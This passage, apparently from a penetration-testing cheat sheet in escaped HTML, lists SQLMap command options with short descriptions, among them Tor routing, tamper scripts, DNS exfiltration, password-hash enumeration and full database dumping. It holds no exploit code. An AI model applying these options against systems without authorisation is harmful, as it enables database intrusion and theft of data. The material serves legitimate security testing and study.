    &lt;td&gt;&lt;p&gt;Ignore system default proxy settings&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--ignore-redirects&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Ignore redirection attempts&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--ignore-timeouts&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Ignore connection timeouts&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--proxy=PROXY&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use a proxy to connect to the target URL&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--proxy-cred=PRO..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Proxy authentication credentials (name:password)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--proxy-file=PRO..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load proxy list from a file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--proxy-freq=PRO..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Requests between change of proxy from a given list&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tor&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use Tor anonymity network&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tor-port=TORPORT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Set Tor proxy port other than default&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tor-type=TORTYPE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--check-tor&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check to see if Tor is used properly&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--delay=DELAY&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Delay in seconds between each HTTP request&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--timeout=TIMEOUT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Seconds to wait before timeout connection (default 30)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--retries=RETRIES&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retries when the connection timeouts (default 3)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--randomize=RPARAM&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Randomly change value for given parameter(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--safe-url=SAFEURL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;URL address to visit frequently during testing&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--safe-post=SAFE..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;POST data to send to a safe URL&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--safe-req=SAFER..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load safe HTTP request from a file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--safe-freq=SAFE..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Regular requests between visits to a safe URL&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--skip-urlencode&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip URL encoding of payload data&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--csrf-token=CSR..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Parameter used to hold anti-CSRF token&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--csrf-url=CSRFURL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;URL address to visit for extraction of anti-CSRF token&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--csrf-method=CS..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP method to use during anti-CSRF token page visit&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--csrf-retries=C..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retries for anti-CSRF token retrieval (default 0)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--force-ssl&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Force usage of SSL/HTTPS&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--chunked&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use HTTP chunked transfer encoded (POST) requests&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--hpp&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use HTTP parameter pollution method&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--eval=EVALCODE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Evaluate provided Python code before the request (e.g. &quot;import hashlib;id2=hashlib.md5(id).hexdigest()&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-optimisation&quot;&gt;SQLMap Optimisation&lt;/h3&gt;

&lt;p&gt;SQLMap optimisation command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-o&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Turn on all optimization switches&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--predict-output&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Predict common queries output&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--keep-alive&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use persistent HTTP(s) connections&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--null-connection&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve page length without actual HTTP response body&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--threads=THREADS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Max number of concurrent HTTP(s) requests (default 1)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-injection&quot;&gt;SQLMap Injection&lt;/h3&gt;

&lt;p&gt;SQLMap injection command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-p TESTPARAMETER&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Testable parameter(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--skip=SKIP&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip testing for given parameter(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--skip-static&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip testing parameters that not appear to be dynamic&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--param-exclude=..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Regexp to exclude parameters from testing (e.g. &quot;ses&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--param-filter=P..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Select testable parameter(s) by place (e.g. &quot;POST&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dbms=DBMS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Force back-end DBMS to provided value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dbms-cred=DBMS..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS authentication credentials (user:password)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os=OS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Force back-end DBMS operating system to provided value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--invalid-bignum&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use big numbers for invalidating values&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--invalid-logical&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use logical operations for invalidating values&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--invalid-string&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use random strings for invalidating values&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--no-cast&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Turn off payload casting mechanism&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--no-escape&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Turn off string escaping mechanism&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--prefix=PREFIX&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Injection payload prefix string&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--suffix=SUFFIX&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Injection payload suffix string&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tamper=TAMPER&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use given script(s) for tampering injection data&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-detection&quot;&gt;SQLMap Detection&lt;/h3&gt;

&lt;p&gt;SQLMap detection command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--level=LEVEL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Level of tests to perform (1-5, default 1)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--risk=RISK&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Risk of tests to perform (1-3, default 1)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--string=STRING&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;String to match when query is evaluated to True&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--not-string=NOT..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;String to match when query is evaluated to False&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--regexp=REGEXP&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Regexp to match when query is evaluated to True&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--code=CODE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP code to match when query is evaluated to True&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--smart&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Perform thorough tests only if positive heuristic(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--text-only&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Compare pages based only on the textual content&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--titles&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Compare pages based only on their titles&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-techniques&quot;&gt;SQLMap Techniques&lt;/h3&gt;

&lt;p&gt;SQLMap technique command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--technique=TECH..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;SQL injection techniques to use (default &quot;BEUSTQ&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--time-sec=TIMESEC&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Seconds to delay the DBMS response (default 5)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--union-cols=UCOLS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Range of columns to test for UNION query SQL injection&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--union-char=UCHAR&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Character to use for bruteforcing number of columns&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--union-from=UFROM&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Table to use in FROM part of UNION query SQL injection&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dns-domain=DNS..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Domain name used for DNS exfiltration attack&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--second-url=SEC..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Resulting page URL searched for second-order response&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--second-req=SEC..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load second-order HTTP request from file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-fingerprinting&quot;&gt;SQLMap Fingerprinting&lt;/h3&gt;

&lt;p&gt;SQLMap fingerprint command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-f, --fingerprint&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Perform an extensive DBMS version fingerprint&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-enumeration&quot;&gt;SQLMap Enumeration&lt;/h3&gt;

&lt;p&gt;SQLMap enumeration command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-a, --all&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve everything&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-b, --banner&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve DBMS banner&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--current-user&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve DBMS current user&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--current-db&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve DBMS current database&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--hostname&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve DBMS server hostname&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--is-dba&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Detect if the DBMS current user is DBA&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--users&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS users&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--passwords&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS users password hashes&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--privileges&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS users privileges&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--roles&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS users roles&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dbs&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS databases&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tables&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS database tables&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--columns&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS database table columns&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--schema&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Enumerate DBMS schema&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--count&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve number of entries for table(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dump&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Dump DBMS database table entries&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dump-all&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Dump all DBMS databases tables entries&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--search&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Search column(s), table(s) and/or database name(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--comments&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check for DBMS comments during enumeration&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--statements&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Retrieve SQL statements being run on DBMS&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-D DB&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS database to enumerate&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-T TBL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS database table(s) to enumerate&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-C COL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS database table column(s) to enumerate&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-X EXCLUDE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS database identifier(s) to not enumerate&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-U USER&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;DBMS user to enumerate&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--exclude-sysdbs&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Exclude DBMS system databases when enumerating tables&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--pivot-column=P..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Pivot column name&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--where=DUMPWHERE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
